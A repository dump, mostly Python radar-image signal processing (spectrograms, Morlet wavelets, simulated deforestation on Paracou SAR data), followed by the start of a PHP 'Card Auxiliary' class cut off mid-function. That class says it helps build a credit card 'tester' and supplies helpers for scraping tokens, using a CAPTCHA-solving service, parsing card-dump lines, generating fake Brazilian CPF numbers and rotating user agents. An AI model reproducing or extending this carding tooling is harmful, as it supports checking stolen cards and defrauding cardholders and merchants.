plt.pcolormesh(self._spectro_t,self._spectro_f,np.abs(self._spectro_Z * other._spectro_Z), vmax = vmax)
plt.ylabel('frequency [Hz]')
plt.xlabel('[m]')
plt.colorbar()
plt.show()
def cwt(self, sig_in, w = None, multiplier = None, plot = True, vmax = None):
'''
Computes the CWT of sig_in and plots the corresponding spectrogram
the cwt is multiplied by self._multiplier to ensure values > 1
'''
if vmax == None:
vmax = 0.1* self._multiplier
if w == None:
w = self._w
if multiplier != None:
self._multiplier = multiplier
# w # scaling parameter for Morlet-based wavelet functions
fMx = 0.075 # fMax
d1f = np.linspace(1e-3,fMx, 200)
self._d1f = d1f
d1w = w*self._fs / (2*d1f*np.pi)
d1cwt = cwt(sig_in, morlet2, d1w, w=w)*self._multiplier
#self._cwt = cwt(self._ds_band, morlet2, widths, w = w) * self._multiplier
return d1cwt
def plot_cwt(self, cwt_plot, title = None, ylabel = None, vmax = None):
plt.figure(figsize = (15,4))
if vmax == None:
plt.pcolormesh(self._x, self._d1f, np.abs(cwt_plot), cmap = 'viridis')
else:
plt.pcolormesh(self._x, self._d1f, np.abs(cwt_plot), cmap = 'viridis', vmax = vmax)
plt.colorbar()
if title == None:
title = "Spectrogram"
if ylabel == None:
ylabel = "scale (s)"
plt.title(title)
plt.xlabel("m")
plt.ylabel(ylabel)
plt.show()
def simulate_shift(self, s = None):
'''Applies a shift s* sigma to self._ds_band and returns it'''
sigma = np.var(self._ds_band)
return np.copy(self._ds_band) + s*sigma*np.copy(self._ds_band)
def simulate_deforestation_v2(self, location, mu = None, sigma = None, plot = True, n = None):
'''simulates deforestation
location: where the deforestation should take place
'''
if mu == None:
mu = 5e-2
if sigma == None:
sigma = np.var(self._ds_band)
location[0] = location[0] // self._s
location[1] = location[1] // self._s
length = location[1] - location[0]
deforst = (np.random.randn(length)*sigma + mu)
sim_deforst = np.copy(self._ds_band)
sim_deforst[location[0]:location[1]] = np.copy(deforst)
return sim_deforst
############
# How to use cwt and xwt:
# IM1 = temp_lib(tifpath1)
# IM2 = temp_lib(tifpath2)
# w = 6
# IM1.cwt(w = w, multiplier = 1)
# IM2.cwt(w = w, multiplier = 1)
# IM1.xwt(IM2) <file_sep>Tifpath = 'StageGMM4_2020_SA4CD/Data/Paracou_125MHz/geo5Md3iHV_t4-7_NCI7_lkLcl3-5-t7_lkRgn9-15.tif'
import numpy as np
import matplotlib.pyplot as plt
from osgeo import gdal
from scipy import fftpack
import scipy.signal as ss
import numpy.linalg as npl
gdal.UseExceptions()
ds = gdal.Open(Tifpath)
ds_band1 = np.array(ds.GetRasterBand(1).ReadAsArray())
ds_band3 = np.array(ds.GetRasterBand(3).ReadAsArray())
ds_target1 = np.zeros(len(ds_band1[1000,:]))
ds_target3 = np.zeros(len(ds_band3[1000,:]))
snippet = [712,728]
for i in range(snippet[0],snippet[1]):
ds_target1 = ds_band1[i,:] + ds_target1
ds_target3 = ds_band3[i,:] + ds_target3
ds_target1 = ds_target1/(snippet[1]-snippet[0])
ds_target3 = ds_target3/(snippet[1]-snippet[0])
N = len(ds_target1)
length = N*5
fs = N/length
x = np.linspace(0,length,N)
xf = np.linspace(0,length*fs/2,N//2)/length
fy = fftpack.fft(ds_target1)[:N//2]/N
j = ds_target1-ds_target3
nper = 64
f, t, Z = ss.spectrogram(ds_target1, fs,nperseg = nper )
ff, tt, ZZ = ss.spectrogram(j, fs,nperseg = nper)
plt.figure(figsize=(15,10))
plt.subplot(4,2,1)
plt.plot(x,np.log(ds_target1)*10)
plt.plot(x,np.log(ds_target3)*10)
plt.xlabel("[m]")
plt.ylabel("[dB]")
plt.subplot(4,2,2)
plt.xlabel("Frequency [Hz]")
plt.ylabel("..")
plt.plot(xf,np.abs(fy))
plt.subplot(4,2,3)
plt.pcolormesh(t,f,np.log(Z)*10, vmin=-50,vmax=0)
plt.ylabel('[Hz]')
plt.xlabel('[m]')
plt.colorbar()
plt.subplot(4,2,4)
plt.pcolormesh(tt,ff,np.log(ZZ)*10,vmin=-50,vmax=0)
plt.colorbar()
plt.ylabel('[Hz]')
plt.xlabel('[m]')
plt.show()
#############################################################################################
# cross-correlation and convolution?
f1 = np.abs(fftpack.fft(ds_target1))
f2 =np.abs( fftpack.fft(ds_target3))
h = np.abs(f1*f2)
tp = 2
plt.subplot(tp,2,1)
cc = ss.correlate(ds_target1, ds_target3)
cc = cc[len(cc)//2:]
plt.plot(cc)
#plt.plot(h)
plt.show()
<file_sep>#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Tue Apr 7 16:18:05 2020
@author: wilhelm
"""
class spectro_c(self):
<file_sep>#!/usr/bin/python
#*-*- coding: cp1252 -*-
#
#{{{ >>> prgm
# * [version] derived from -rw-rw-r-- 1 villardl villardl 11,9K mars 29 12:23 villardl@dll17:~/Hw2/Hw2py/SpctrlA/hw2spctro.py
# * [run] 'python how2spectro.py'
#}}}
#
#
#{{{ >>> packages
import numpy as np
import numpy.fft as fft
from scipy import signal
import matplotlib.pyplot as plt
#}}}
#
#
#{{{ >>> demo to handle scipy.spectrogram function for non-stationary signals:
#>>> observation time config:
Tobs = 60. # Total observation period (sec)
fs = 50. # Sampling frequency (Hz)
print(1/fs)
N = Tobs/(1/fs) # Nb points
print (N), " <<< Nb of points "
d1t = np.arange(N)/float(fs) # time axis
#
#>>> input signal config:
amp = 2*np.sqrt(2) # amplitude
d1amp = (1.-np.exp(-d1t/(Tobs/5.))) # optional varying amplitude
f0 = 0.1 # carrier frequency
#d1mod = (f0/6.)*np.cos(2*np.pi*0.25*d1t) # optional sinusoidal modulation
d1mod = 2*np.pi*(f0/0.10)*d1t/Tobs # linear modulation
d1w = 2*np.pi*f0 + d1mod # pulsation
d1sgnl = amp*np.sin(d1w*d1t) # input signal
d1sgnl *= d1amp # optional increasing amp input signal
fMx = f0 + max(d1mod)
print (fMx), " <<< max frequency of the input signal "
# input plot
fig1 = plt.figure(1)
plt.ylabel('V')
plt.xlabel('Time [sec]')
plt.plot(d1t,d1sgnl)
fig1.show()
#Compute and plot the spectrogram.
N_sb = int(N/10) # N points of the sub-window
fig2 = plt.figure(2)
#d1win = signal.get_window(('hann'), N_sb) # Hanning sliding window
d1win = signal.get_window(('tukey', 0.3), N_sb) # Tukey sliding window
d1f_cmp, d1t_cmp, d2PSD = signal.spectrogram(d1sgnl, fs, nperseg=N_sb, window=d1win, noverlap=N_sb/4., axis=-1, mode='psd') # \n ...
# d1f_cmp, d1t_cmp, d2PSD : [return] computed frequency and time samples
# d2PSD : [return] computed PSD according to mode option (PSD expresssed in V**2/Hz voltage per Hertz)
# ¡¡¡ important options: nperseg & noverlap !!!
# spectro plot
plt.pcolormesh(d1t_cmp,d1f_cmp, d2PSD)
plt.ylabel('Frequency [Hz]')
plt.xlabel('Time [sec]')
plt.ylim(0,2*fMx)
fig2.show()
#raw_input()
#}}} <<< EoDemo
<file_sep>
import numpy as np
import matplotlib.pyplot as plt
from scipy import fftpack
from scipy import signal as ss
from how2spectro_Morlet2 import morlet2
from how2spectro_Morlet2 import cwt
class temp_lib:
"""
Class used for tutored project INSA 4 GMM
Attributes:
image : numpy ndarray of shape (Nx, Ny)
s : integer - sampling ratio
x, y : numpy ndarray with respective shapes Nx et Ny
fs : sampling frequency
ds_band : numpy ndarray of shape Nx - > extracted band from the image
f: frequency domain
"""
def __init__(self, image):
# Image is a matrix M x N
self._image = image[:,:-50]
self._s = 5 # 1 pixel corresponds to 5 km
self._Ny, self._Nx = np.shape(self._image)
self._interval = [712, 728]
self.extract_band(self._interval)
self._Sobs = self._Nx * self._s # Total spatial observation
self._fs = self._Nx / self._Sobs # sampling frequency
self._x = np.arange(self._Nx)/float(self._fs)
self._y = np.arange(self._Ny)/float(self._fs)
self._f = np.linspace(0, self._Sobs*self._fs, self._Nx // 2) / self._Sobs
self._TF = fftpack.fft(self._ds_band)[:self._Nx // 2] / self._Nx
self._multiplier = 1
self._nwin = 20
self._w = 6
def extract_band(self, interval = None):
'''
Extracts a band from the image.
If interval is a tuple, the element-wise average is calculated
By default the interval is [712, 718]'''
if interval == None:
interval = self._interval
if len(interval) == 1:
self._ds_band = self._image[interval,:]
elif len(interval) == 2:
ret = 0
for i in range(interval[0], interval[1]):
ret = ret + self._image[i,:]
ret = ret / (interval[1] - interval[0])
self._ds_band = ret
else:
raise ValueError
def plot_image(self, other):
'''
Plots the image in desibel using matplotlib
'''
plt.figure(figsize = (12,9))
if other != None:
plt.subplot(2,2,1)
plt.title("Image")
plt.pcolormesh(self._x, self._y, np.log10(self._image)*10, vmin = -40, vmax = 0)
if other != None:
plt.subplot(2,2,2)
plt.title("Image")
plt.pcolormesh(other._x, other._y, np.log10(other._image)*10, vmin = -40, vmax = 0)
plt.show()
def plot_section(self, other = None):
plt.figure(figsize = (14,6))
plt.title("Section of the Paracou area")
plt.plot(self._x, np.log10(self._ds_band)*10, label = "Period 1")
if other != None:
plt.plot(self._x, np.log10(other._ds_band)*10, label = "Period 3")
plt.ylabel("dB")
plt.xlabel("m")
plt.legend()
plt.show()
def plot_sections(self, other = None):
plt.figure(figsize = (14,4))
plt.plot(self._x, np.log10(self._ds_band)*10, label = "Original signal")
if other.all() != None:
plt.plot(self._x, np.log10(other)*10, label = "Shifted signal")
plt.ylabel("dB")
plt.xlabel("m")
plt.legend()
plt.show()
def plot_diff(self, diff):
plt.figure(figsize = (14,4))
plt.plot(self._x, np.abs((diff)))
plt.xlabel("m")
plt.show()
def plot_TF(self, other = None):
'''
Plots the fourier transform of ds_band and ds_band itself
'''
plt.figure(figsize = (20,10))
plt.subplot(2,2,1)
plt.title("ds_band")
plt.plot(self._x, np.log10(self._ds_band)*10)
if other != None:
plt.plot(self._x, np.log10(other._ds_band)*10)
plt.subplot(2,2,2)
plt.title("Fourier transform of ds_band")
plt.plot(self._f, self._TF)
if other != None:
plt.plot(self._f, other._TF)
plt.show()
def decrease_resolution(self, n, other = False):
'''
Decreases the resolution using numpy.convolve and updates ds_band
Reset by calling extract_band
'''
conv = np.ones(n)
self._ds_band = np.convolve(conv, self._ds_band, mode = 'same') / n
if other == True:
self._deforestated_band = np.convolve(conv, self._deforestated_band, mode = 'same') / n
# should change fs?
def decrease_resolution_v2(self,sig_in, n):
'''
Decreases the resolution using numpy.convolve and updates ds_band
Reset by calling extract_band
'''
conv = np.ones(n)
return np.convolve(conv, sig_in, mode = 'same') / n
def spectrogram(self, name_win = "tukey", n_win = None, plot = True, multiplier = None, vmax = None, subplot = False):
'''
Plots the spectrogram of ds_band using the windowed Fourier transform, eventually returns spectrogram as well.
Z is multiplied by self._multiplier to ensure values > 1
Parameters:
TODO
'''
if vmax == None:
vmax = 1 * self._multiplier
if multiplier != None:
self._multiplier = multiplier
if n_win == None:
n_win = self._nwin
if name_win == "tukey":
win = ss.get_window((name_win, 0.3), n_win)
else:
win = ss.get_window((name_win), n_win)
self._spectro_f, self._spectro_t, self._spectro_Z = ss.spectrogram(self._ds_band, self._fs , nperseg = n_win, window = win, noverlap=n_win/4., axis=-1, mode='psd')
self._spectro_Z = self._spectro_Z * self._multiplier
if plot:
if not subplot:
plt.figure(figsize=(15,4))
plt.title("Spectrogram with {0} type window and size of window = {1}".format(name_win, n_win))
plt.pcolormesh(self._spectro_t,self._spectro_f, self._spectro_Z)
plt.ylabel('[Hz]')
plt.xlabel('[m]')
plt.colorbar()
if not subplot:
plt.show()
def plot_spectro(self, spect_plot):
plt.figure(figsize=(15,4))
plt.pcolormesh(self._spectro_t,self._spectro_f,spect_plot)
plt.ylabel('frequency [Hz]')
plt.xlabel('[m]')
plt.colorbar()
plt.show()
def cross_spectro(self, other, vmax = None, diff = True, prod = False):
'''
Calculates either the product or the difference between the computed spectrograms of two ds_bands (signals)
Assuming that the spectrograms are computed
Z is multiplied by self._multiplier to ensure values > 1
'''
if prod == True:
diff = False
if vmax == None:
vmax = 3
plt.figure(figsize=(15,4))
if diff == True:
plt.title("Spectrogram of the difference between the two WFT")
plt.pcolormesh(self._spectro_t,self._spectro_f,np.abs(self._spectro_Z - other._spectro_Z))
prod = False
if prod == True:
plt.title("Spectrogram of the product between the two WFT")
plt.pcolormesh(self._spectro_t,self._spectro_f,np.abs(self._spectro_Z * other._spectro_Z))
plt.ylabel('frequency [Hz]')
plt.xlabel('[m]')
plt.colorbar()
plt.show()
pass
def cwt(self, w = None, multiplier = None, plot = True, vmax = None):
'''
Computes the CWT of self._ds_band and plots the corresponding spectrogram
the cwt is multiplied by self._multiplier to ensure values > 1
'''
if vmax == None:
vmax = 0.1* self._multiplier
if w == None:
w = self._w
if multiplier != None:
self._multiplier = multiplier
w = 2.5 # scaling parameter for Morlet-based wavelet functions
fMx = 0.075 # fMax
d1f = np.linspace(1e-3,fMx, 200)
d1w = w*self._fs / (2*d1f*np.pi)
self._cwt = cwt(self._ds_band, morlet2, d1w, w=w)*self._multiplier
#self._cwt = cwt(self._ds_band, morlet2, widths, w = w) * self._multiplier
self._d1f = d1f
if plot:
plt.figure(figsize = (14,4))
plt.pcolormesh(self._x, d1f, np.abs(self._cwt), cmap = 'viridis')
plt.colorbar()
plt.title("cwt")
plt.show()
def cwt_v2(self, sig_in, w = None, multiplier = None, plot = True, vmax = None):
'''
Computes the CWT of sig_in and plots the corresponding spectrogram
the cwt is multiplied by self._multiplier to ensure values > 1
'''
if vmax == None:
vmax = 0.1* self._multiplier
if w == None:
w = self._w
if multiplier != None:
self._multiplier = multiplier
# w # scaling parameter for Morlet-based wavelet functions
fMx = 0.075 # fMax
d1f = np.linspace(1e-3,fMx, 200)
self._d1f = d1f
d1w = w*self._fs / (2*d1f*np.pi)
d1cwt = cwt(sig_in, morlet2, d1w, w=w)*self._multiplier
#self._cwt = cwt(self._ds_band, morlet2, widths, w = w) * self._multiplier
return d1cwt
def plot_cwt(self, cwt_plot):
plt.figure(figsize = (15,4))
plt.pcolormesh(self._x, self._d1f, np.abs(cwt_plot), cmap = 'viridis')
plt.colorbar()
plt.title("cwt")
plt.xlabel("m")
plt.show()
def xwt(self, other, w = 10, vmax = None):
'''
Calculates and plots the cross wavelet transform of self._ds_band and other._ds_band
'''
if vmax == None:
vmax = 0.3* self._multiplier
plt.figure(figsize = (15,4))
xwt = (self._cwt * np.conj(other._cwt))
self._xwt = xwt
plt.pcolormesh(self._x, self._d1f, np.abs(xwt), cmap = 'viridis',vmax = vmax)
plt.colorbar()
plt.title("Spectrogram based on XWT")
plt.xlabel("m")
plt.ylabel("scale (s)")
plt.show()
def simulate_shift(self, s = None):
'''Applies a shift s* sigma to self._ds_band'''
sigma = np.var(self._ds_band)
return np.copy(self._ds_band) + s*sigma*np.copy(self._ds_band)
def simulate_deforestation_v2(self, location, mu = None, sigma = None, plot = True, n = None):
'''simulates deforestation
location: where the deforestation should take place
'''
if mu == None:
mu = 5e-2
if sigma == None:
sigma = np.var(self._ds_band)
location[0] = location[0] // self._s
location[1] = location[1] // self._s
length = location[1] - location[0]
deforst = (np.random.randn(length)*sigma + mu)
sim_deforst = np.copy(self._ds_band)
sim_deforst[location[0]:location[1]] = np.copy(deforst)
return sim_deforst
def simulate_deforestation(self, location, mu = None, sigma = None, plot = True, n = None):
'''simulates deforestation
location: where the deforestation should take place
'''
if mu == None:
mu = 5e-2
if sigma == None:
sigma = np.var(self._ds_band)
location[0] = location[0] // self._s
location[1] = location[1] // self._s
length = location[1] - location[0]
deforst = (np.random.randn(length)*sigma + mu)
self._deforestated_band = np.copy(self._ds_band)
self._deforestated_band[location[0]:location[1]] = np.copy(deforst)
if n != None:
self.decrease_resolution(n = n, other = True)
if plot == True:
plt.figure(figsize = (12,5))
plt.title("dB of original band and with simulated deforestation")
plt.plot(self._x, np.log10(self._ds_band)*10)
plt.plot(self._x, np.log10(self._deforestated_band)*10)
plt.show()
w = 2.5 # scaling parameter for Morlet-based wavelet functions
fMx = 0.075 # fMax
d1f = np.linspace(1e-3,fMx, 200)
d1w = w*self._fs / (2*d1f*np.pi)
s_cwt = cwt(self._deforestated_band, morlet2, d1w, w=w)*self._multiplier
#self._cwt = cwt(self._ds_band, morlet2, widths, w = w) * self._multiplier
self._d1f = d1f
self.cwt(plot = True)
plt.figure(figsize = (15,4))
plt.pcolormesh(self._x, self._d1f, np.abs(s_cwt), cmap = 'viridis')
plt.colorbar()
plt.title("cwt deforest")
plt.show()
xwt = np.abs(self._cwt * np.conj(s_cwt))
if plot:
plt.figure(figsize = (15,4))
plt.pcolormesh(self._x, self._d1f, xwt, cmap = 'viridis', vmax = 0.3*self._multiplier)
plt.colorbar()
plt.title("Spectrogram based on XWT")
plt.show()
############
# How to use cwt and xwt:
# IM1 = temp_lib(tifpath1)
# IM2 = temp_lib(tifpath2)
# w = 6
# IM1.cwt(w = w, multiplier = 1)
# IM2.cwt(w = w, multiplier = 1)
# IM1.xwt(IM2) <file_sep>Tifpath = 'StageGMM4_2020_SA4CD/Data/Paracou_125MHz/geo5Md3iHV_t4-7_NCI7_lkLcl3-5-t7_lkRgn9-15.tif'
import numpy as np
import matplotlib.pyplot as plt
from osgeo import gdal
from scipy import fftpack
gdal.UseExceptions()
ds = gdal.Open(Tifpath)
ds_band = np.array(ds.GetRasterBand(2).ReadAsArray())
snippet = ds_band[400,:]
print(ds_band.shape)
plt.figure(figsize=(16,8))
plt.plot(snippet)
plt.show()
plt.figure(figsize=(16,8))
plt.imshow(ds_band)
plt.show()
fft_snippet = np.abs(fftpack.fft(snippet))
plt.figure(figsize=(16,8))
plt.plot(fft_snippet)
plt.show()
<file_sep>#!/usr/bin/python
#*-*- coding: cp1252 -*-
#
#{{{ >>> prgm
# * [version] derived from -rw-rw-r-- 1 villardl villardl 2,1K mars 29 12:55 how2spectro.py
# * [run] 'python how2spectro_Morlet2.py'
# * [purpose]{ >>> demo to handle scipy.cwt function compatible with morlet2 (wavelet accounting for ad-hoc frequencies)
#}}}
#
#
#{{{ >>> packages
import numpy as np
import numpy.fft as fft
from scipy import signal
import matplotlib.pyplot as plt
from numpy.dual import eig
from scipy.special import comb
from scipy.signal import convolve
#}}}
#
__all__ = ['daub', 'qmf', 'cascade', 'morlet', 'ricker', 'morlet2', 'cwt']
def morlet2(M, s, w=5):
"""
Complex Morlet wavelet, designed to work with `cwt`.
Returns the complete version of morlet wavelet, normalised
according to `s`::
exp(1j*w*x/s) * exp(-0.5*(x/s)**2) * pi**(-0.25) * sqrt(1/s)
Parameters
----------
M : int
Length of the wavelet.
s : float
Width parameter of the wavelet.
w : float, optional
Omega0. Default is 5
Returns
-------
morlet : (M,) ndarray
"""
x = np.arange(0, M) - (M - 1.0) / 2
x = x / s
wavelet = np.exp(1j * w * x) * np.exp(-0.5 * x**2) * np.pi**(-0.25)
output = np.sqrt(1/s) * wavelet
return output
def cwt(data, wavelet, widths, dtype=None, **kwargs):
"""
Continuous wavelet transform.
Performs a continuous wavelet transform on `data`,
using the `wavelet` function. A CWT performs a convolution
with `data` using the `wavelet` function, which is characterized
by a width parameter and length parameter. The `wavelet` function
is allowed to be complex.
Parameters
----------
data : (N,) ndarray
data on which to perform the transform.
wavelet : function
Wavelet function, which should take 2 arguments.
The first argument is the number of points that the returned vector
will have (len(wavelet(length,width)) == length).
The second is a width parameter, defining the size of the wavelet
(e.g. standard deviation of a gaussian). See `ricker`, which
satisfies these requirements.
widths : (M,) sequence
Widths to use for transform.
dtype : data-type, optional
The desired data type of output. Defaults to ``float64`` if the
output of `wavelet` is real and ``complex128`` if it is complex.
.. versionadded:: 1.4.0
kwargs
Keyword arguments passed to wavelet function.
.. versionadded:: 1.4.0
Returns
-------
cwt: (M, N) ndarray
Will have shape of (len(widths), len(data)).
Notes
-----
.. versionadded:: 1.4.0
For non-symmetric, complex-valued wavelets, the input signal is convolved
with the time-reversed complex-conjugate of the wavelet data [1].
::
length = min(10 * width[ii], len(data))
cwt[ii,:] = signal.convolve(data, np.conj(wavelet(length, width[ii],
**kwargs))[::-1], mode='same')
"""
# Determine output type
if dtype is None:
if np.asarray(wavelet(1, widths[0], **kwargs)).dtype.char in 'FDG':
dtype = np.complex128
else:
dtype = np.float64
output = np.zeros((len(widths), len(data)), dtype=dtype)
for ind, width in enumerate(widths):
N = np.min([10 * width, len(data)])
wavelet_data = np.conj(wavelet(N, width, **kwargs)[::-1])
output[ind] = convolve(data, wavelet_data, mode='same')
return output
#
##>>> observation time config:
#Tobs = 60. # Total observation period (sec)
#fs = 50. # Sampling frequency (Hz)
#N = Tobs/(1/fs) # Nb points
#print(N, " <<< Nb of points ")
#d1t = np.arange(N)/float(fs) # time axis
#
##
##>>> input signal config:
#amp = 2*np.sqrt(2) # amplitude
#d1amp = (1.-np.exp(-d1t/(Tobs/5.))) # optional varying amplitude
#f0 = 0.1 # carrier frequency
##d1mod = (f0/6.)*np.cos(2*np.pi*0.25*d1t) # optional sinusoidal modulation
#d1mod = 2*np.pi*(f0/0.10)*d1t/Tobs # linear modulation
#d1w = 2*np.pi*f0 + d1mod # pulsation
#d1sgnl = amp*np.sin(d1w*d1t) # input signal
#d1sgnl *= d1amp # optional increasing amp input signal
#fMx = f0 + max(d1mod)
#print(fMx, " <<< max frequency of the input signal ")
#
##
##>>> add variable noise
##noise = np.random.normal(scale=np.sqrt(noise_power), size=d1t.shape)
##noise *= np.exp(-d1t/5)
##d1noise = np.array(1.-np.exp(-0.01*d1t/(Tobs/5.)))
##d1noise = np.flip((1.-np.exp(-0.01*d1t/(Tobs/5.))),0)
##d1noise = np.flipud((1.-np.exp(-0.01*d1t/(Tobs/5.))))
#d1noise = np.cos(d1t/Tobs*2*np.pi)
#d1sgnl *= d1noise
####
#
#
## input plot
#fig1 = plt.figure(1)
#plt.title("Plot of signal")
#plt.ylabel('V')
#plt.xlabel('Time [sec]')
#plt.plot(d1t,d1sgnl)
#fig1.show()
#
#
##Compute and plot the spectrogram.
#N_sb = int(N/10) # N points of the sub-window
#fig2 = plt.figure(2)
##d1win = signal.get_window(('hann'), N_sb) # Hanning sliding window
#d1win = signal.get_window(('tukey', 0.3), N_sb) # Tukey sliding window
#d1f_cmp, d1t_cmp, d2PSD = signal.spectrogram(d1sgnl, fs, nperseg=N_sb, window=d1win, noverlap=N_sb/4., axis=-1, mode='psd') # \n ...
## d1f_cmp, d1t_cmp, d2PSD : [return] computed frequency and time samples
## d2PSD : [return] computed PSD according to mode option (PSD expresssed in V**2/Hz voltage per Hertz)
## ¡¡¡ important options: nperseg & noverlap !!!
#
## spectro plot
#plt.pcolormesh(d1t_cmp,d1f_cmp, d2PSD)
#plt.ylabel('Frequency [Hz]')
#plt.xlabel('Time [sec]')
#plt.ylim(0,2*fMx)
#fig2.show()
#
##Compute & plot cwt based spectro:
#w = 10
#d1f = np.linspace(0., int(fMx)+1, 200)
#print(d1f, "<<< ACH-print freq <<<")
#widths = w*fs / (2*d1f*np.pi)
#print(widths, "<<< ACH-print widths <<<")
##cwtm = signal.cwt(d1sgnl, morlet2, widths) #, w=w)
#cwtm = cwt(d1sgnl, morlet2, widths, w=w)
#fig3 = plt.figure(3)
#plt.pcolormesh(d1t, d1f, np.abs(cwtm), cmap='viridis')
#print(np.shape(d1t), "<<< ACH-print.shape(d1t), <<<")
#print(np.shape(cwtm), "<<< ACH-print size(cwtmatr) <<<")
#fig3.show()
##
#}}} <<< EoDemo
<file_sep>import matplotlib.pyplot as plt
import numpy as np
import scipy.signal as ss
N = 10000
sss = 0
se = 3
amp = 2 * 0.5
fs = N/se
time = np.linspace(0,se,N)
freq = np.linspace(40,50,N)
freq = 500
y= 2*np.cos(np.pi*2*freq*time)*(time>0.5)+2*np.cos(np.pi*freq*time)*(time<0.5)
ftime = np.linspace(0,se*fs/2,N//2)/3
fy = np.fft.fft(y)[:len(y)//2]/len(y)
f, t, Z = ss.spectrogram(y, fs)
plt.figure(figsize=(15,10))
plt.subplot(3,2,1)
plt.plot(time,y)
plt.xlabel("time")
plt.ylabel("sin()")
plt.subplot(3,2,2)
plt.xlabel("Frequency")
plt.ylabel("..")
plt.plot(ftime,np.abs(fy))
plt.subplot(3,2,3)
plt.pcolormesh(t,f,Z)
plt.ylabel('Hz')
plt.xlabel('Time')
plt.show()
|
09f78613b6a255e9e7f266dd3f5622360d949123
|
[
"Python"
] | 8
|
Python
|
eobroets/CESBIO
|
c12c37ea17e0f636e326f0375030d5088ef80b28
|
8c5bc141640a74d5d25dc846d47b3a739e0e101c
|
refs/heads/master
|
<repo_name>rurik65/Tetris-in-windows<file_sep>/README.md
Tetris in wndows
Из окна прекрасный вид на горы. Всё бы хорошо, но что-то пошло не так и сверху прямо на подоконник
падают фрагменты кирпичной кладки. Хорошо,что можно управлять этим падением.
Сборка mvn compile assembly:single
Запуск java -jar tetris.jar
В процессе игры скорость падения растет идет подсчет очков.
В будущем можно добавить уровни и их выбор, регистрацию и учет игроков <file_sep>/src/main/java/Tetris/Model/Figure.java
package Tetris.Model;
import java.awt.*;
import java.util.Arrays;
public class Figure {
private final int[] figures = new int[]{4,4,6,0,0,7,4,0,3,1,1,0,0,1,7,0,
0,7,2,0,2,6,2,0,2,7,0,0,2,3,2,0,
6,3,0,0,1,3,2,0,6,3,0,0,1,3,2,0,
2,2,2,2,0,0,15,0,2,2,2,2,0,0,15,0,
0,2,3,0,0,3,2,0,0,3,1,0,0,1,3,0,
2,2,2,0,0,7,0,0,2,2,2,0,0,7,0,0,
1,1,3,0,0,4,7,0,6,4,4,0,0,7,1,0,
0,3,3,0,0,3,3,0,0,3,3,0,0,3,3,0};
private int[] fig = new int[16]; // 4 проекции фигуры
private int view;
private Color colorFig;
public int getView() {
return view;
}
public void rotate(){if (++view == 4) view = 0; }
public void setView(int view) {
this.view = view;}
public int[] getFig() {
return fig;
}
public Color getColorFig() {
return colorFig;
}
public Figure(){
int index = 16 * (int)(8*Math.random());
view = (int)(4*Math.random()); // одна из 4-х проекций фигуры
System.arraycopy(figures,index,fig,0,16);
colorFig = BodyPart.getRandomColor();
}
}
|
73d77c201d84376f7172509a0a742381cadea628
|
[
"Markdown",
"Java"
] | 2
|
Markdown
|
rurik65/Tetris-in-windows
|
0cdeff72350631a7b095c74ab4f5f7ab06238b08
|
fd3170e8d854581827fb171a05a816f434c61c7e
|
refs/heads/master
|
<repo_name>Fantasm4/CardAuxiliaryTool<file_sep>/class.Auxiliary.php
<?php
/***************************
Card Auxiliary v0.1b
This tool was created for auxiliary the user in creating a tester.
Auxiliary's:
getToken
cookieKill
valid2Captcha
delimitArgument
validEmail
validExternalEmail
randomCPF
validCPF
getrndUserAgent
Copyright 2018 Fantasma All rights reserved.
***************************/
date_default_timezone_set('America/Sao_Paulo');
require("class.CreditCard.php");
require("obj.php");
class Auxiliary extends CreditCard {
/*
*@ Get current token defined by start and end of html page. / Captura token definido pelo inicio e fim de uma tag html.
*@ Returns token or null case fail on get the same.
*/
public function getToken($string, $inicio, $fim, $numero){
$str = explode($inicio, $string);
$str = explode($fim, $str[$numero]);
return $str[0];
}
/*
*@ Delete cookie inserted. / Apaga cookie inserido.
*@ Not return
*/
public function cookieKill($nome){
unlink($nome);
}
/*
*@ Check if PublishKey of 2Captcha is valid or invalid. / Verifica se a key está valida ou inválida.
*@ Returns in int
*/
public function valid2Captcha($publishKey){
if(!$publishKey){
return 'Do you not insert your publishKey.';
}else{
$str = json_decode(file_get_contents("http://2captcha.com/res.php?key=$publishKey&action=getbalance&json=1"));
return $str->status;
}
}
/*
*@ Delimits string in up to 4 different arguments according to the db delimiters. / Delimita em até 4 argumentos de acordo com os delimitadores da db.
*@ Returns in array
*/
public function delimitArgument($string, $delimitador){
if(!$delimitador){
list($x, $y, $z, $u) = preg_split('/[|:;,-]/', $string);
return array($x, $y, $z, $u);
}else{
return explode($delimitador, $string);
}
}
/*
*@ Validate Email / Validar E-Mail.
*@ Returns true or false
*/
public function validEmail($string){
if (filter_var($string, FILTER_VALIDATE_EMAIL)) {
return true;
} else {
return false;
}
}
/*
*@ Validate External Email / Validar E-Mail em link externo.
*@ Returns true or false
*/
public function validExternalEmail($url, $validmsg){
$str = file_get_contents($url);
if(strpos($str, $validmsg)){
return true;
}else{
return false;
}
}
/*
*@ Generate random CPF / Gera um CPF Aleatório.
*@ Type 0 = 00000000000
*@ Type 1 = 000.000.000-00
*/
public function randomCPF($type){
for($i=0;$i<3;$i++){
$v1[$i] = rand(1,9);
$v2[$i] = rand(1,9);
$v3[$i] = rand(1,9);
}
$soma = $v1[0] * 10;
$soma += $v1[1] * 9;
$soma += $v1[2] * 8;
$soma += $v2[0] * 7;
$soma += $v2[1] * 6;
$soma += $v2[2] * 5;
$soma += $v3[0] * 4;
$soma += $v3[1] * 3;
$soma += $v3[2] * 2;
$verif = array(2,3,4,5,6,7,8,9,10);
foreach ($verif as $num) {
if($soma % 11 == $num){
$j = 11 - ($soma % 11);
}elseif ($soma % 11<=2) {
$j = 0;
}
}
$soma2 = $v1[0] * 11;
$soma2 += $v1[1] * 10;
$soma2 += $v1[2] * 9;
$soma2 += $v2[0] * 8;
$soma2 += $v2[1] * 7;
$soma2 += $v2[2] * 6;
$soma2 += $v3[0] * 5;
$soma2 += $v3[1] * 4;
$soma2 += $v3[2] * 3;
$soma2 += $j * 2;
foreach ($verif as $num) {
if($soma2 % 11 ==$num){
$k = 11- ($soma2 % 11);
}elseif($soma2 % 11 <= 2){
$k = 0;
}
}
$p1 = implode('',$v1);
$p2 = implode('',$v2);
$p3 = implode('',$v3);
if(!$type){
return $p1.$p2.$p3.$j.$k;
}else{
return "$p1.$p2.$p3-$j$k";
}
}
/*
*@ CPF Validator / Valida o CPF Inserido no argumento da função.
*@ Returns true case valid or null case invalid
*/
public function validCPF($cpf){
$cpf = preg_replace( '/[^0-9]/is', '', $cpf );
if (strlen($cpf) != 11) {
return false;
